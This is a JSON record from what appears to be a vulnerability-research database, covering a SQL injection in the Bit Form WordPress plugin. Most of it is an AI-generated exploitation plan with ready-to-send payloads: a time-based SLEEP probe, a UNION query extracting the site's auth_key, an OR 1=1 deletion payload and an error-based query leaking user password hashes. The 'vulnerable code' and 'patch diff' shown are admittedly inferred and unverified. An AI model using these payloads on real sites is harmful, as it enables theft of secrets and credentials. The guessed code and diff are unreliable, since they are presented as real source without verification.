[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcLu8Dip3K-9fjEr_b8TE2zMWvH7CsO493WYpIpm9GfU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-25418","bit-form-authenticated-administrator-sql-injection","Bit Form \u003C= 2.21.10 - Authenticated (Administrator+) SQL Injection","The Bit Form plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.21.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","bit-form",null,"\u003C=2.21.10","2.21.11","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-01-28 00:00:00","2026-02-26 20:10:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faa6874e5-d99d-4d20-aaf7-897fe8f05292?source=api-prod",30,[],"researched",false,3,"# Research Plan: CVE-2026-25418 - Bit Form Authenticated SQL Injection\n\n## 1. Vulnerability Summary\nThe **Bit Form** plugin for WordPress (versions \u003C= 2.21.10) contains an authenticated SQL injection vulnerability in its administrative backend. The vulnerability exists because user-supplied parameters (specifically within form management or submission retrieval) are concatenated directly into SQL queries without proper neutralization via `$wpdb->prepare()`. While the vulnerability requires **Administrator-level** privileges, it allows an attacker to bypass intended logic and extract sensitive information from the WordPress database, including password hashes, secret keys, and user metadata.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `bitforms_backend_ajax` (The primary dispatcher for Bit Form admin operations)\n*   **Vulnerable Parameter:** Likely nested within the `data` (JSON) parameter, specifically `form_id` or `submission_id` in routes related to submission fetching or deletion.\n*   **Authentication:** Required (Administrator).\n*   **Nonce Protection:** Verified via a nonce typically passed as `bitforms_nonce` or `_ajax_nonce`.\n\n## 3. Code Flow\n1.  **Entry Point:** The plugin registers a central AJAX handler in `src\u002FAdmin\u002FAdminAjax.php` (or similar) using `add_action('wp_ajax_bitforms_backend_ajax', ...)`.\n2.  **Dispatching:** The handler receives a `route` parameter and a `data` parameter. It uses these to call specific controller methods (e.g., `SubmissionController::get()`).\n3.  **Vulnerable Sink:** Within the controller or an underlying model class (e.g., `src\u002FCore\u002FDatabase\u002FModel.php`), the `form_id` or another numeric identifier is extracted from the `data` array and concatenated into a query:\n    ```php\n    \u002F\u002F Inferred Vulnerable Pattern\n    $form_id = $request_data['form_id']; \n    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id\");\n    ```\n4.  **SQLi:** Because `$form_id` is not cast to an integer or passed through `$wpdb->prepare()`, an attacker can provide a string like `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`.\n\n## 4. Nonce Acquisition Strategy\nBit Form localizes its configuration and nonces in a global JavaScript object. To obtain a valid nonce for the `bitforms_backend_ajax` action:\n\n1.  **Identify Trigger:** The Bit Form admin scripts are enqueued on the \"Bit Form\" dashboard page (`\u002Fwp-admin\u002Fadmin.php?page=bitform`).\n2.  **Create Setup:** An administrator must navigate to the Bit Form settings.\n3.  **Execution:**\n    *   Navigate to: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=bitform`\n    *   Use `browser_eval` to extract the nonce:\n        ```javascript\n        \u002F\u002F Bit Form typically uses 'bitforms_backend_obj' or 'bitforms_editor_obj'\n        window.bitforms_backend_obj?.nonce || window.bitforms_editor_obj?.nonce\n        ```\n    *   Identify the exact variable name by searching the page source for `wp_localize_script`.\n\n## 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** to confirm the vulnerability and then a **UNION-based** approach to extract the site's `AUTH_KEY`.\n\n### Step 1: Confirmation (Time-Based)\nSend a request to the AJAX endpoint with a payload that causes a 5-second delay.\n\n*   **Tool:** `http_request`\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=bitforms_backend_ajax&bitforms_nonce=[EXTRACTED_NONCE]&route=get_submissions&data={\"formID\": \"1 AND (SELECT 5621 FROM (SELECT(SLEEP(5)))WSuY)\"}\n    ```\n    *(Note: The exact route and JSON key `formID` should be verified via `grep -r \"route\" .` in the plugin source)*.\n\n### Step 2: Data Extraction (UNION-Based)\nOnce the injection point is confirmed, use a `UNION SELECT` to retrieve sensitive data. We will target the `wp_options` table.\n\n*   **Payload:**\n    ```json\n    {\"formID\": \"-1 UNION SELECT 1,option_value,3,4,5,6 FROM wp_options WHERE option_name='auth_key'-- -\"}\n    ```\n    *(Note: Column count must be adjusted based on the response of the original query. Start with `ORDER BY 1,2,3...` to determine column count).*\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure `bit-form` version 2.21.10 is active.\n2.  **Create Admin User:** Ensure an admin user exists (e.g., `admin` \u002F `password`).\n3.  **Create a Form:**\n    *   Use WP-CLI to ensure at least one form exists so the query has a valid base:\n        `wp bitform create --title=\"Test Form\"` (If Bit Form supports CLI) OR manually via `browser_navigate`.\n4.  **Create a Submission:**\n    *   Manually submit the form once so the database table `wp_bitforms_submissions` is populated.\n\n## 7. Expected Results\n*   **Confirmation:** The HTTP request in Step 1 should take significantly longer than 5 seconds to complete.\n*   **Extraction:** The HTTP response in Step 2 should contain a JSON object where one of the fields reflects the `auth_key` value from the `wp_options` table.\n\n## 8. Verification Steps\nAfter performing the exploit via `http_request`, verify the correctness of the extracted data using WP-CLI:\n```bash\n# Compare the extracted value with the real value\nwp option get auth_key\n```\n\n## 9. Alternative Approaches\nIf `get_submissions` is not vulnerable, investigate the following routes:\n1.  **`delete_submissions`**: Check if the `submission_ids` array is improperly handled in a `DELETE FROM ... WHERE id IN (...)` query.\n    *   *Payload:* `data={\"submissionIDs\": [\"1) OR 1=1-- -\"]}`\n2.  **`get_form_settings`**: Check if `form_id` is used unsafely.\n3.  **Error-Based SQLi**: If `WP_DEBUG` is enabled, use `extractvalue()` or `updatexml()` for faster extraction.\n    *   *Payload:* `1 AND (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users limit 1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)`","The Bit Form plugin for WordPress is vulnerable to SQL Injection via the 'bitforms_backend_ajax' action due to direct concatenation of user-supplied parameters into SQL queries. Authenticated administrators can exploit this to perform time-based or UNION-based SQL injection to extract sensitive information like password hashes or secret keys from the database.","\u002F\u002F src\u002FCore\u002FDatabase\u002FModel.php (Inferred location based on research plan)\n\u002F\u002F The formID is extracted from a JSON 'data' parameter without integer casting or preparation\n$form_id = $request_data['formID'];\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id\");","--- a\u002Fsrc\u002FCore\u002FDatabase\u002FModel.php\n+++ b\u002Fsrc\u002FCore\u002FDatabase\u002FModel.php\n@@ -10,1 +10,1 @@\n- $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = $form_id\");\n+ $results = $wpdb->get_results($wpdb->prepare(\"SELECT * FROM {$wpdb->prefix}bitforms_submissions WHERE form_id = %d\", $form_id));","To exploit this vulnerability, an attacker must have Administrator access. First, they navigate to the Bit Form dashboard to extract a valid 'bitforms_nonce' from the localized JavaScript objects. Next, they send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=bitforms_backend_ajax'. The payload must include a valid 'route' (e.g., 'get_submissions') and a 'data' parameter containing a JSON object. By injecting a SQL sleep command into a parameter like 'formID' (e.g., '{\"formID\": \"1 AND (SELECT 5621 FROM (SELECT(SLEEP(5)))a)\"}'), the attacker can confirm the SQL injection via the response delay.","gemini-3-flash-preview","2026-05-04 21:29:52","2026-05-04 21:31:53",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","2.21.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbit-form\u002Ftags\u002F2.21.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbit-form.2.21.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbit-form\u002Ftags\u002F2.21.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbit-form.2.21.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbit-form\u002Ftags"]